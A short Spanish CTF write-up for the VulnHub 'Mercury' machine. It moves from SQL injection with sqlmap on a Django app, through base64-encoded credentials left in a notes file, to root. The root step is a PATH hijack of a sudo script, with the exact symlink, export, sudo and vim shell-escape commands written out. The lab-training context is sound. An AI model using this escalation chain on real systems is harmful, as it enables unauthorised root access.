cd ~/blog

~/writeups/vulnhub/02-mercury.md

02 - Mercury

medium Linux vulnhub 01-01-2021
Django SQL Injection (sqlmap)base64 credential disclosuresudo SETENV PATH hijacking (tail/vim)
www.vulnhub.com/entry/mercury-1,712/

~1 min de lectura


Enumeramos puertos: 22 (SSH) y 8080 (un servidor Django "en construcción"). Forzando un directorio inexistente, Django revela la ruta /mercuryfacts/, que muestra datos sobre el planeta y cuya estructura es vulnerable a SQL Injection.

Con sqlmap extraemos la tabla de usuarios SSH, entre ellos webmaster con su contraseña. Iniciamos sesión por SSH y obtenemos la primera flag. En la carpeta del proyecto web hay un notas.txt con usuarios y contraseñas en base64; al decodificarlo obtenemos la contraseña de linuxmaster.

Como linuxmaster, revisamos sudo -l:

User linuxmaster may run the following commands on mercury:
    (root : root) SETENV: /usr/bin/check_syslog.sh

El script usa tail sin ruta absoluta:

#!/bin/bash
tail -n 10 /var/log/syslog

Como podemos conservar el PATH (SETENV), hacemos PATH Hijacking: creamos un tail falso que es un enlace a vim y anteponemos el directorio actual al PATH:

linuxmaster@mercury:~$ ln -s /bin/vim tail
linuxmaster@mercury:~$ export PATH=.:$PATH
linuxmaster@mercury:~$ sudo --preserve-env=PATH /usr/bin/check_syslog.sh

Se abre vim como root; escapamos a una shell:

:!/bin/bash

Obtenemos acceso root y la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados